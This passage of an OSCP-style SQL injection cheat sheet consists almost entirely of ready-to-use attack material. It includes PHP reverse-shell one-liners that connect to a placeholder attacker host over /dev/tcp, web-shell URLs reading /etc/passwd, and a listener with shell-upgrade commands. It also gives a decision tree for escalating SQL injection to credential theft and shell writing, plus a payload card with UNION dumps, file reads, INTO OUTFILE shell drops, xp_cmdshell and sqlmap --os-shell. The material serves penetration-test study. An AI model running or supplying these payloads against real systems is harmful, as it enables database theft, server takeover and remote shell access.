<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"); ?>
# PHP reverse shell (one-liner for cmd param)
<?php system("bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"); ?>
# Access via browser:
http://target/shell.php?cmd=id
http://target/shell.php?cmd=whoami
http://target/shell.php?cmd=cat /etc/passwd
# Listener on attacker machine:
ncat -lvnp 4444
# After getting web shell, upgrade:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# or
script -qc /bin/bash /dev/null
Escalation Decision Tree
SQLi Confirmed
│
├─→ Error messages visible?
│ ├─ Yes → Error-based extraction (fastest)
│ └─ No → Continue below
│
├─→ UNION works?
│ ├─ Yes → UNION-based extraction
│ │ ├─→ Enumerate DB → Extract creds
│ │ ├─→ LOAD_FILE / pg_read_file → Read files
│ │ └─→ INTO OUTFILE / COPY TO → Write shell
│ └─ No → Continue below
│
├─→ Boolean output changes?
│ ├─ Yes → Boolean-blind extraction (slow but works)
│ │ └─→ Use sqlmap --technique=B
│ └─ No → Continue below
│
└─→ Time delay observable?
├─ Yes → Time-blind extraction
│ └─→ Use sqlmap --technique=T
└─ No → SQLi not exploitable with current vector
Quick Commands Card (Print This)
┌─────────────────────────────────────────────────────────────────┐
│ SQLi QUICK COMMANDS │
├─────────────────────────────────────────────────────────────────┤
│ │
│ TEST: ' OR '1'='1-- │
│ COLUMNS: ' ORDER BY N-- / ' UNION SELECT NULL,NULL,NULL-- │
│ VERSION: ' UNION SELECT VERSION(),2,3-- │
│ DBS: ' UNION SELECT SCHEMA_NAME,2,3 FROM │
│ INFORMATION_SCHEMA.SCHEMATA-- │
│ TABLES: ' UNION SELECT TABLE_NAME,2,3 FROM │
│ INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DB()-- │
│ COLS: ' UNION SELECT COLUMN_NAME,2,3 FROM │
│ INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='X'-- │
│ DUMP: ' UNION SELECT user,pass,3 FROM users-- │
│ READ: ' UNION SELECT LOAD_FILE('/etc/passwd'),2,3-- │
│ WRITE: '; SELECT 'SHELL' INTO OUTFILE '/path/shell.php'-- │
│ CMD: '; EXEC xp_cmdshell 'whoami'-- │
│ TIME: ' AND SLEEP(5)-- │
│ AUTH: admin'-- │
│ │
│ SQLMAP: sqlmap -u "URL" --batch --dbs --dump --os-shell │
│ │
└─────────────────────────────────────────────────────────────────┘
Last Updated: 2026-09-01 | OSCP SQL Injection Quick Reference Cheat Sheet